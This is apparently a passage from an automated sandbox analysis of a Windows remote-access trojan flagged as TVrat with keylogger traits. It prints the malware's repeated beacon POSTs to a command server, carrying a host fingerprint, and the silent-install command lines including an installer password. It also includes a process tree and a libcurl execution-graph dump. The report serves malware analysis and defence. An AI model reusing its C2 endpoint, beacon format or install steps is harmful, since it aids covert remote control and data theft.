                                                                                                                                    2024-11-19 17:59:16 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    41192.168.2.851514212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:17 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:17 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                    42192.168.2.851517212.193.169.654436056C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                    2024-11-19 17:59:20 UTC134OUTPOST https://id.xn--80akicokc0aablc.xn--p1ai:443/api/exec HTTP/1.1
                                                                                                                                    Host: id.xn--80akicokc0aablc.xn--p1ai:443
                                                                                                                                    Content-Length: 269
                                                                                                                                    2024-11-19 17:59:20 UTC269OUTData Raw: 01 31 00 00 0d 01 00 00 00 00 00 00 bf 00 00 00 4d 02 45 43 2d 46 34 2d 42 42 2d 34 35 2d 46 36 2d 39 43 01 03 48 53 02 35 33 36 38 37 30 39 31 32 30 30 03 48 56 02 76 74 70 63 6d 6d 71 73 74 74 66 68 03 48 4e 02 36 5a 4b 45 45 4d 56 44 03 43 50 02 30 30 30 38 2d 30 36 46 38 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 20 3a 20 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 03 48 4e 30 02 30 36 30 30 32 63 31 39 38 39 38 31 66 32 36 31 37 62 37 31 62 36 65 30 38 36 64 30 62 65 36 61 03 48 53 30 02 35 33 36 38 37 30 39 31 32 30 30 03 36 00 00 00 34 2e 35 2d 36 30 39 32 39 30 01 30 2f 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 20 28 31 30 2e 30 2e
                                                                                                                                    Data Ascii: 1MEC-F4-BB-45-F6-9CHS53687091200HVvtpcmmqsttfhHN6ZKEEMVDCP0008-06F8-0000-0000-0000-0000 : Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHzHN006002c198981f2617b71b6e086d0be6aHS05368709120064.5-6092900/Microsoft Windows 10 Pro (10.0.


                                                                                                                                    Statistics

                                                                                                                                    CPU Usage

                                                                                                                                    Click to jump to process

                                                                                                                                    Memory Usage

                                                                                                                                    Click to jump to process

                                                                                                                                    High Level Behavior Distribution

                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                    Behavior

                                                                                                                                    Click to jump to process

                                                                                                                                    System Behavior

                                                                                                                                    General

                                                                                                                                    Target ID:0
                                                                                                                                    Start time:12:57:11
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\Desktop\oZ3vtWXObB.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\Desktop\oZ3vtWXObB.exe"
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:7'984'574 bytes
                                                                                                                                    MD5 hash:E6A7A12B99393E7869AAEC3C1661CCB7
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Reputation:low
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:2
                                                                                                                                    Start time:12:57:12
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmp" /SL5="$10408,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe"
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:3'196'416 bytes
                                                                                                                                    MD5 hash:A4E733D8E4B800D3DA4197B2B2CE6049
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Antivirus matches:
                                                                                                                                    • Detection: 0%, ReversingLabs
                                                                                                                                    Reputation:low
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:3
                                                                                                                                    Start time:12:57:12
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\Desktop\oZ3vtWXObB.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:7'984'574 bytes
                                                                                                                                    MD5 hash:E6A7A12B99393E7869AAEC3C1661CCB7
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Reputation:low
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:4
                                                                                                                                    Start time:12:57:13
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmp" /SL5="$20416,7132714,832512,C:\Users\user\Desktop\oZ3vtWXObB.exe" /verysilent /password=6s7w4
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:3'196'416 bytes
                                                                                                                                    MD5 hash:A4E733D8E4B800D3DA4197B2B2CE6049
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Antivirus matches:
                                                                                                                                    • Detection: 0%, ReversingLabs
                                                                                                                                    Reputation:low
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:8
                                                                                                                                    Start time:12:57:56
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\u3w5\rbxsdlx.bat""
                                                                                                                                    Imagebase:0xa40000
                                                                                                                                    File size:236'544 bytes
                                                                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                    Reputation:high
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:9
                                                                                                                                    Start time:12:57:56
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                    Imagebase:0x7ff6ee680000
                                                                                                                                    File size:862'208 bytes
                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                    Reputation:high
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:10
                                                                                                                                    Start time:12:57:57
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Windows\SysWOW64\xcopy.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\u3w5\*" "C:\Users\user\AppData\Roaming\is\"
                                                                                                                                    Imagebase:0x1b0000
                                                                                                                                    File size:43'520 bytes
                                                                                                                                    MD5 hash:7E9B7CE496D09F70C072930940F9F02C
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                    Reputation:moderate
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:11
                                                                                                                                    Start time:12:58:28
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\is\ast.exe"
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:7'543'992 bytes
                                                                                                                                    MD5 hash:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    Has elevated privileges:true
                                                                                                                                    Has administrator privileges:true
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Yara matches:
                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    • Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Roaming\is\ast.exe, Author: Joe Security
                                                                                                                                    Reputation:moderate
                                                                                                                                    Has exited:false

                                                                                                                                    General

                                                                                                                                    Target ID:13
                                                                                                                                    Start time:12:58:38
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\is\ast.exe"
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:7'543'992 bytes
                                                                                                                                    MD5 hash:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    Has elevated privileges:false
                                                                                                                                    Has administrator privileges:false
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Reputation:moderate
                                                                                                                                    Has exited:true

                                                                                                                                    General

                                                                                                                                    Target ID:14
                                                                                                                                    Start time:12:58:46
                                                                                                                                    Start date:19/11/2024
                                                                                                                                    Path:C:\Users\user\AppData\Roaming\is\ast.exe
                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\is\ast.exe"
                                                                                                                                    Imagebase:0x400000
                                                                                                                                    File size:7'543'992 bytes
                                                                                                                                    MD5 hash:8002D9E5851728EB024B398CF19DE390
                                                                                                                                    Has elevated privileges:false
                                                                                                                                    Has administrator privileges:false
                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                    Reputation:moderate
                                                                                                                                    Has exited:true

                                                                                                                                    Disassembly

                                                                                                                                    Reset < >

                                                                                                                                      Execution Graph

                                                                                                                                      Execution Coverage:5.2%
                                                                                                                                      Dynamic/Decrypted Code Coverage:0%
                                                                                                                                      Signature Coverage:16.7%
                                                                                                                                      Total number of Nodes:1135
                                                                                                                                      Total number of Limit Nodes:67
                                                                                                                                      execution_graph 23685 6bd816d0 curl_msnprintf 23701 6bd86e10 getaddrinfo 23685->23701 23688 6bd81739 EnterCriticalSection 23692 6bd81763 23688->23692 23693 6bd81747 LeaveCriticalSection 23688->23693 23689 6bd81722 WSAGetLastError 23690 6bd81728 WSAGetLastError 23689->23690 23691 6bd8172c 23689->23691 23690->23691 23691->23688 23695 6bd8176b send 23692->23695 23696 6bd81787 LeaveCriticalSection 23692->23696 23707 6bd81670 DeleteCriticalSection closesocket ___scrt_fastfail 23693->23707 23695->23696 23698 6bd81782 WSAGetLastError 23695->23698 23697 6bd81755 23696->23697 23708 6bdcdb71 23697->23708 23698->23696 23700 6bd817a5 23705 6bd81713 23701->23705 23706 6bd86e3f __fassign 23701->23706 23702 6bd86f93 WSASetLastError 23702->23705 23703 6bd86f4b freeaddrinfo 23704 6bd86f52 23703->23704 23704->23702 23704->23705 23705->23688 23705->23689 23706->23702 23706->23703 23706->23704 23707->23697 23709 6bdcdb7c IsProcessorFeaturePresent 23708->23709 23710 6bdcdb7a 23708->23710 23712 6bdcdc76 23709->23712 23710->23700 23715 6bdcdc3a SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 23712->23715 23714 6bdcdd59 23714->23700 23715->23714 23716 6bd8bdd0 23717 6bd8be19 23716->23717 23718 6bd8bdf1 23716->23718 23755 6bd8d3d0 76 API calls 3 library calls 23717->23755 23754 6bd90900 77 API calls _strrchr 23718->23754 23721 6bd8bdf6 23728 6bd8be0f 23721->23728 23731 6bd8e4e0 191 API calls 23721->23731 23723 6bd8be9b 23723->23728 23732 6bdab380 106 API calls 23723->23732 23725 6bd8beb2 23733 6bdb06b0 23725->23733 23730 6bd8bef5 23731->23723 23732->23725 23734 6bdb06cf 23733->23734 23741 6bdb0759 23733->23741 23736 6bdb06dc curl_mvsnprintf 23734->23736 23734->23741 23735 6bdcdb71 __fassign 5 API calls 23737 6bd8bed9 23735->23737 23738 6bdb0737 23736->23738 23740 6bdb06fe curl_msnprintf 23736->23740 23737->23728 23743 6bd8d1b0 23737->23743 23756 6bdb0550 72 API calls 23738->23756 23740->23738 23741->23735 23744 6bd8d1cb 23743->23744 23745 6bd8d212 23743->23745 23757 6bd8c650 23744->23757 23747 6bd8d23d 23745->23747 23794 6bdbf7a0 76 API calls 23745->23794 23747->23730 23748 6bd8d1d5 23748->23745 23750 6bd8d1de 23748->23750 23752 6bd8d1f0 23750->23752 23793 6bd828e0 closesocket 23750->23793 23751 6bd8d22c 23751->23730 23752->23730 23754->23721 23755->23721 23756->23741 23758 6bd8c6db 23757->23758 23759 6bd8c677 23757->23759 23847 6bd9ee30 23758->23847 23761 6bd8c699 23759->23761 23762 6bd8c684 23759->23762 23795 6bd82d20 23761->23795 23867 6bd9ed60 163 API calls 23762->23867 23765 6bd8c6e3 23770 6bd8c740 23765->23770 23792 6bd8c855 23765->23792 23869 6bdab380 106 API calls 23765->23869 23766 6bd8c690 23766->23748 23767 6bd8c6a5 23767->23758 23768 6bd8c6ae 23767->23768 23768->23792 23868 6bd8d2d0 78 API calls 23768->23868 23771 6bd8c780 23770->23771 23772 6bd8c894 23770->23772 23770->23792 23774 6bd8c789 23771->23774 23775 6bd8c7e3 23771->23775 23877 6bdbf7a0 76 API calls 23772->23877 23870 6bd8cf60 107 API calls 23774->23870 23787 6bd8c7ec 23775->23787 23873 6bd88160 47 API calls 23775->23873 23777 6bd8c6d2 23777->23748 23780 6bd8c793 23782 6bd8c7c9 23780->23782 23871 6bd8cb00 80 API calls __fassign 23780->23871 23782->23748 23783 6bd8c84e 23783->23792 23876 6bd8c8c0 106 API calls 23783->23876 23786 6bd8c80c 23786->23783 23786->23787 23789 6bd8c83e 23786->23789 23787->23783 23875 6bd8d360 191 API calls 23787->23875 23788 6bd8c7af 23788->23782 23872 6bd8cec0 86 API calls 23788->23872 23874 6bd8d360 191 API calls 23789->23874 23792->23748 23793->23752 23794->23751 23796 6bd82d6a 23795->23796 23797 6bd82d80 23795->23797 23799 6bdcdb71 __fassign 5 API calls 23796->23799 23878 6bdbe5d0 23797->23878 23800 6bd82d7c 23799->23800 23800->23767 23801 6bd82d8c 23802 6bd832c4 23801->23802 23805 6bd82e4c 23801->23805 23920 6bdb05d0 74 API calls __fassign 23802->23920 23804 6bd832cf 23807 6bdcdb71 __fassign 5 API calls 23804->23807 23806 6bd82e55 23805->23806 23846 6bd82e9a __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 23805->23846 23808 6bd83f40 196 API calls 23806->23808 23809 6bd832e4 23807->23809 23810 6bd82e68 23808->23810 23809->23767 23812 6bd82e84 23810->23812 23816 6bd84060 90 API calls 23810->23816 23813 6bdcdb71 __fassign 5 API calls 23812->23813 23814 6bd82e96 23813->23814 23814->23767 23815 6bd832af 23819 6bdcdb71 __fassign 5 API calls 23815->23819 23816->23812 23817 6bd84740 SleepEx getsockopt WSAGetLastError 23817->23846 23818 6bd83130 23818->23815 23916 6bd846a0 197 API calls 23818->23916 23820 6bd832c0 23819->23820 23820->23767 23822 6bd83160 23822->23796 23831 6bd8316d 23822->23831 23823 6bd83185 23825 6bd831dd 23823->23825 23917 6bd828e0 closesocket 23823->23917 23824 6bd83025 WSASetLastError 23824->23846 23894 6bd83f40 23825->23894 23826 6bdb06b0 74 API calls 23826->23846 23830 6bd831f9 23830->23804 23835 6bd8320c 23830->23835 23918 6bdba0e0 53 API calls 3 library calls 23831->23918 23833 6bd8326a 23919 6bdb05d0 74 API calls __fassign 23833->23919 23906 6bd84060 23835->23906 23836 6bd846a0 197 API calls 23836->23846 23839 6bd83288 23839->23815 23841 6bd83297 23839->23841 23843 6bdcdb71 __fassign 5 API calls 23841->23843 23842 6bdcdb71 __fassign 5 API calls 23844 6bd83226 23842->23844 23845 6bd832ab 23843->23845 23844->23767 23845->23767 23846->23817 23846->23818 23846->23823 23846->23824 23846->23826 23846->23836 23882 6bdb03a0 23846->23882 23914 6bd98450 21 API calls 23846->23914 23915 6bdba0e0 53 API calls 3 library calls 23846->23915 23848 6bd9ee5d 23847->23848 23856 6bd9eea1 ___scrt_fastfail 23847->23856 23848->23856 24036 6bdccee0 23848->24036 23850 6bdcdb71 __fassign 5 API calls 23852 6bd9f063 23850->23852 23851 6bd9ee72 23853 6bd9ee7f 23851->23853 23851->23856 23852->23765 23854 6bdcdb71 __fassign 5 API calls 23853->23854 23855 6bd9ee9d 23854->23855 23855->23765 23857 6bd9ef8e 23856->23857 23859 6bd9ef7a 23856->23859 23860 6bdb06b0 74 API calls 23856->23860 23863 6bd9f035 23856->23863 24044 6bd9e330 163 API calls ___from_strstr_to_strchr 23857->24044 23862 6bd9f022 23859->23862 23859->23863 23860->23857 23861 6bd9efd5 23861->23859 23864 6bdb06b0 74 API calls 23861->23864 23865 6bdcdb71 __fassign 5 API calls 23862->23865 23863->23850 23864->23859 23866 6bd9f031 23865->23866 23866->23765 23867->23766 23868->23777 23869->23770 23870->23780 23871->23788 23872->23782 23873->23786 23874->23783 23875->23783 23876->23782 23877->23792 23879 6bdbe642 GetTickCount 23878->23879 23880 6bdbe5e0 QueryPerformanceCounter 23878->23880 23879->23801 23881 6bdbe603 __alldvrm __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 23880->23881 23881->23801 23883 6bdb03c0 23882->23883 23886 6bdb03e7 23882->23886 23884 6bdb03c9 23883->23884 23883->23886 23954 6bdb04d0 WSASetLastError Sleep 23884->23954 23921 6bdafef0 23886->23921 23887 6bdb03d4 23889 6bdcdb71 __fassign 5 API calls 23887->23889 23891 6bdb03e3 23889->23891 23890 6bdb0431 23892 6bdcdb71 __fassign 5 API calls 23890->23892 23891->23846 23893 6bdb04c0 23892->23893 23893->23846 23895 6bd8403b 23894->23895 23898 6bd83f54 23894->23898 23895->23830 23896 6bd83fcd 23899 6bd83ff1 23896->23899 23900 6bd83fd4 23896->23900 23897 6bd84023 23957 6bdb05d0 74 API calls __fassign 23897->23957 23898->23896 23898->23897 23956 6bdb6f40 187 API calls __fassign 23899->23956 23955 6bdb75d0 195 API calls 2 library calls 23900->23955 23904 6bd8402f 23904->23830 23905 6bd83fec 23905->23830 23907 6bd8408d 23906->23907 23908 6bd84080 23906->23908 23958 6bd836a0 23907->23958 24008 6bdacc20 23908->24008 23911 6bd8409d 24011 6bd928a0 74 API calls 23911->24011 23913 6bd83214 23913->23842 23914->23846 23915->23846 23916->23822 23917->23825 23918->23833 23919->23839 23920->23804 23922 6bdaff10 23921->23922 23926 6bdaff2b 23921->23926 23922->23926 23940 6bdaff69 23922->23940 23923 6bdb0384 23924 6bdcdb71 __fassign 5 API calls 23923->23924 23928 6bdb0390 23924->23928 23925 6bdaff4d WSASetLastError 23929 6bdcdb71 __fassign 5 API calls 23925->23929 23926->23923 23926->23925 23930 6bdb0363 23926->23930 23932 6bdb0369 23926->23932 23927 6bdb037d Sleep 23927->23923 23928->23890 23931 6bdaff65 23929->23931 23930->23927 23930->23932 23931->23890 23932->23927 23933 6bdb00d9 23944 6bdb00e9 23933->23944 23946 6bdb0164 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z 23933->23946 23934 6bdb0100 WSASetLastError 23935 6bdb010e 23934->23935 23936 6bdcdb71 __fassign 5 API calls 23935->23936 23937 6bdb011b 23936->23937 23937->23890 23938 6bdb00fb 23938->23935 23953 6bdb027f 23938->23953 23939 6bdb0237 select 23939->23938 23940->23933 23940->23934 23941 6bdb0142 23942 6bdb0156 Sleep 23941->23942 23942->23938 23943 6bdb0129 WSASetLastError 23943->23938 23944->23938 23944->23941 23944->23943 23945 6bdb013c 23944->23945 23945->23941 23945->23942 23946->23939 23947 6bdb02a1 __WSAFDIsSet 23949 6bdb02df __WSAFDIsSet 23947->23949 23947->23953 23948 6bdb0350 23951 6bdcdb71 __fassign 5 API calls 23948->23951 23950 6bdb02fc __WSAFDIsSet 23949->23950 23949->23953 23950->23953 23952 6bdb035f 23951->23952 23952->23890 23953->23947 23953->23948 23953->23949 23953->23950 23954->23887 23955->23905 23956->23905 23957->23904 23959 6bd838bf 23958->23959 23960 6bd836c6 23958->23960 23961 6bdcdb71 __fassign 5 API calls 23959->23961 23960->23959 23963 6bd836e0 getpeername 23960->23963 23962 6bd83999 23961->23962 23962->23911 23964 6bd83708 WSAGetLastError 23963->23964 23965 6bd83743 ___scrt_fastfail 23963->23965 24012 6bdba0e0 53 API calls 3 library calls 23964->24012 23968 6bd83760 getsockname 23965->23968 23967 6bd83722 24013 6bdb05d0 74 API calls __fassign 23967->24013 23970 6bd8377c WSAGetLastError 23968->23970 23971 6bd837b7 23968->23971 24014 6bdba0e0 53 API calls 3 library calls 23970->24014 24016 6bd82840 23971->24016 23973 6bd8372f 23976 6bdcdb71 __fassign 5 API calls 23973->23976 23975 6bd837d7 23978 6bd837de 23975->23978 23979 6bd83820 23975->23979 23980 6bd8373f 23976->23980 23977 6bd83796 24015 6bdb05d0 74 API calls __fassign 23977->24015 24025 6bdd1f49 14 API calls __dosmaperr 23978->24025 23984 6bd82840 21 API calls 23979->23984 23980->23911 23983 6bd837a3 23986 6bdcdb71 __fassign 5 API calls 23983->23986 23987 6bd83876 23984->23987 23985 6bd837e3 24026 6bdd1f49 14 API calls __dosmaperr 23985->24026 23990 6bd837b3 23986->23990 23987->23959 23988 6bd8387d 23987->23988 24029 6bdd1f49 14 API calls __dosmaperr 23988->24029 23990->23911 23992 6bd837ea 24027 6bdba0e0 53 API calls 3 library calls 23992->24027 23993 6bd83882 24030 6bdd1f49 14 API calls __dosmaperr 23993->24030 23996 6bd837fe 24028 6bdb05d0 74 API calls __fassign 23996->24028 23997 6bd83889 24031 6bdba0e0 53 API calls 3 library calls 23997->24031 24000 6bd8380c 24002 6bdcdb71 __fassign 5 API calls 24000->24002 24001 6bd8389d 24032 6bdb05d0 74 API calls __fassign 24001->24032 24004 6bd8381c 24002->24004 24004->23911 24005 6bd838ab 24006 6bdcdb71 __fassign 5 API calls 24005->24006 24007 6bd838bb 24006->24007 24007->23911 24009 6bdbe5d0 2 API calls 24008->24009 24010 6bdacc35 24009->24010 24010->23907 24011->23913 24012->23967 24013->23973 24014->23977 24015->23983 24017 6bd82853 24016->24017 24018 6bd82886 24016->24018 24019 6bd82866 24017->24019 24033 6bda1080 21 API calls __dosmaperr 24017->24033 24034 6bda1080 21 API calls __dosmaperr 24018->24034 24024 6bd8286d 24019->24024 24035 6bdd1f49 14 API calls __dosmaperr 24019->24035 24023 6bd828c5 24023->23975 24024->23975 24025->23985 24026->23992 24027->23996 24028->24000 24029->23993 24030->23997 24031->24001 24032->24005 24033->24019 24034->24019 24035->24023 24038 6bdccef8 24036->24038 24037 6bdccf2f 24045 6bdb05d0 74 API calls __fassign 24037->24045 24038->24037 24040 6bdccf85 24038->24040 24042 6bdccf36 24038->24042 24040->23851 24041 6bdccf6d 24041->23851 24042->24041 24043 6bdacc20 2 API calls 24042->24043 24043->24041 24044->23861 24045->24040 24046 6bd81050 24047 6bd8107b 24046->24047 24048 6bd8108f 24046->24048 24092 6bd98a20 24047->24092 24049 6bdbe5d0 2 API calls 24048->24049 24052 6bd810c6 ___scrt_fastfail 24049->24052 24056 6bd81158 InitializeCriticalSectionEx 24052->24056 24057 6bd81179 24052->24057 24061 6bd8118c 24052->24061 24053 6bd811a7 24101 6bdb05d0 74 API calls __fassign 24053->24101 24055 6bd811b9 24069 6bdb6d50 socket 24056->24069 24099 6bd81670 DeleteCriticalSection closesocket ___scrt_fastfail 24057->24099 24060 6bd81172 24060->24057 24063 6bd811df 24060->24063 24100 6bdd1f49 14 API calls __dosmaperr 24061->24100 24062 6bd8122d 24103 6bd815c0 8 API calls 24062->24103 24063->24062 24089 6bd89120 24063->24089 24067 6bd81240 24070 6bdb6d8d htonl setsockopt 24069->24070 24071 6bdb6f21 24069->24071 24073 6bdb6f0f closesocket closesocket closesocket 24070->24073 24074 6bdb6ddc bind 24070->24074 24072 6bdcdb71 __fassign 5 API calls 24071->24072 24075 6bdb6f31 24072->24075 24073->24071 24074->24073 24076 6bdb6df2 getsockname 24074->24076 24075->24060 24076->24073 24077 6bdb6e0a listen 24076->24077 24077->24073 24078 6bdb6e1c socket 24077->24078 24078->24073 24079 6bdb6e2f connect 24078->24079 24079->24073 24080 6bdb6e45 accept 24079->24080 24080->24073 24081 6bdb6e5c curl_msnprintf 24080->24081 24082 6bdb6e76 24081->24082 24082->24082 24083 6bdb6e7d send 24082->24083 24083->24073 24084 6bdb6e92 recv 24083->24084 24084->24073 24088 6bdb6ea7 24084->24088 24085 6bdb6ef5 closesocket 24086 6bdcdb71 __fassign 5 API calls 24085->24086 24087 6bdb6f0b 24086->24087 24087->24060 24088->24073 24088->24085 24104 6bdd8360 24089->24104 24091 6bd81218 24091->24067 24102 6bdd1f49 14 API calls __dosmaperr 24091->24102 24093 6bd98a2a 24092->24093 24094 6bd98a37 socket 24092->24094 24093->24048 24095 6bd98a48 24094->24095 24096 6bd98a4c 24094->24096 24095->24048 24155 6bd828e0 closesocket 24096->24155 24098 6bd98a54 24098->24048 24099->24061 24100->24053 24101->24055 24102->24062 24103->24061 24105 6bdd836d 